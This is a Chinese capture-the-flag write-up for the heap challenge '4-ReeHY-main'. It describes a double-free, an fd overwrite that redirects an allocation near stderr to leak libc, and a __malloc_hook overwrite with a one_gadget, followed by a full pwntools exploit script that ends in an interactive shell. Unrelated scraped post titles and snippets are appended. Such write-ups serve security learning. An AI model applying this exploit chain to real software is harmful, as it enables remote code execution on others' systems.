攻防世界 4-ReeHY-main
检查保护机制:

发现 可以好像写got
然后 程序流程


这里 有double free
然后 再发现

这里很有趣 ,要是我的content为零了 且size 小于112 那就从栈上copy一些内容进去 利用double free ,再修改残留在chunk上的fd的信息 就能达到任意地址写入的效果,
但是
这里有没有溢出点 就算能达到任意地址写入
也没什么用 所以 可以malloc 一块到 stderr + 的地方
然后 再 edit
content 先不写 因为

这个 会刷新stdout 导致之前写入的东西 给重新刷新了
这时候就可以用编辑,写入
不过这时候 只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方
之所以 选择 stderr +157 因为 那附件只有这块符号size的检测
下面贴出我的 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138 r = remote(host,port) def creat(size, cun, content):
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(size))
r.recvuntil("Input cun")
r.sendline(str(cun))
r.recvuntil("Input content")
r.sendline(content) def dele(index):
r.recvuntil("$ ")
r.sendline(str(2))
r.recvuntil("Chose one to dele")
r.sendline(str(index)) def edit(index, content):
r.recvuntil("$ ")
r.sendline(str(3))
r.recvuntil("Chose one to edit")
r.sendline(str(index))
r.recvuntil("Input the content")
r.send(content) def show():
r.recvuntil("$ ")
r.sendline(str(4)) def exploit():
global r
r = remote(host,port)
libc = ELF('./libc.so.6')
r.recvuntil("$ ")
r.sendline("aaaa")
creat(0x60, 0, '')
creat(0x60, 1, '')
creat(0x60, 2, '')
dele(0)
dele(1)
dele(0)
creat(0x60, 3, '')
creat(0x60, 1, '')
edit(3,p16(0x95dd))
creat(0x60, 0, '')
try:
pay = "\xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
creat(0x60, 4, pay)
except:
log.failure("not lucky enough!")
r.close()
return False
edit(4,pay)
leak = ''
leak = r.recvuntil("exit")[0x40:0x48]
print hex(u64(leak))
LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
log.info('libc :0x%x'%LIBC) #raw_input()
target = LIBC + e.symbols['__malloc_hook'] - 0x23
dele(3)
edit(0,p64(target))
onegae = LIBC + 0xf1147
log.info("onegaget: 0x%x"%onegae)
payload = 'a'*0x13 +p64(onegae)
creat(0x60, 1, '')
creat(0x60, 3, payload)
dele(1)
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(0x60))
r.recvuntil("Input cun")
r.sendline(str(1))
stop = True
r.interactive() if __name__ == '__main__':
stop = False
e = ELF("./libc.so.6")
while not stop:
exploit()
攻防世界 4-ReeHY-main的更多相关文章
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界 reverse 进阶 APK-逆向2
APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...
- 攻防世界 reverse 进阶 10 Reverse Box
攻防世界中此题信息未给全,题目来源为[TWCTF-2016:Reverse] Reverse Box 网上有很多wp是使用gdb脚本,这里找到一个本地还原关键算法,然后再爆破的 https://www ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
随机推荐
- maven 打包 spring boot 生成docker 镜像
1.所使用材料 ,spring boot 项目 基于maven ,maven 工具, docker工具 ps:为啥使用 docker 公司微服务需要启动太多,有两个优点吧! 1.方便管理,2.减少服务 ...
- vscode自定义颜色主题插件并发布
生成一个新的颜色主题 运行命令 npm install -g yo generator-code yo code 这时默认文件目录已经帮你创建好了 vscode中按下F5可以帮你打开调试,预览创建好的 ...
- 记录一次诡异的Maven Profile不生效的问题
记录一次诡异的Maven Profile不生效的问题 现象 maven 打包之后,复制的 profile对应的resource文件总是不正确的. 即便是加了 mvn clean package -P ...
- PHP限制上传文件大小
在php.ini中修改如下变量,如要限制为100M upload_max_filesize = 100M post_max_size = 100M 重启Apache
- 2018.8.3 python中的set集合及深浅拷贝
一.字符串和列表的相互转化 之前写到想把xx类型的数据转化成yy类型的数据,直接yy(xx)就可以了,但是字符串和列表的转化比较特殊,相互之间的转化要通过join()和split()来实现. 例如: ...
- 四、docker 仓库(让我们的镜像有处可存)
前言 前面讲完了docker 镜像和容器,以及通过Dockerfile 定制属于我们自己的镜像,那那现在就是需要将我们自己定制的镜像存放到仓库中供他们使用.这一套流程才算是正式走完了.从获取镜像,操作 ...
- [考试反思]0810NOIP模拟测试16:黎明
好吧,你尽力啦.我不说什么啦 []200 []180 [6]170 [7]160 [11]150 [12]140 还好,和前面的差距不大.虽说没有原来最好的那段时间考得那么好,但貌似还可以接受. 这次 ...
- 「2019.7.22 考试」AC和WA0一步之遥
这卷子还是答的挺惨的. 第一题5min写完了,自认为AC(其实WA了80),第二题推了半天CRT的公式老出错结果发现是程序打错了.第三题打模拟150行结果数组没开够,开大就是0->60的转变.状 ...
- day7-字符串格式化
msg='i am %s my hobby is %s' % ('lhf','alex') # # %代表标识,固定格式 s代表传入的为字符串,该字符串可接受任何类型 # # %d ,只能接收数字 p ...
- python模块——psutil
import psutil 内存 mem = psutil.virtual_memory() print(mem) >>> svmem(total=17048064000, avai ...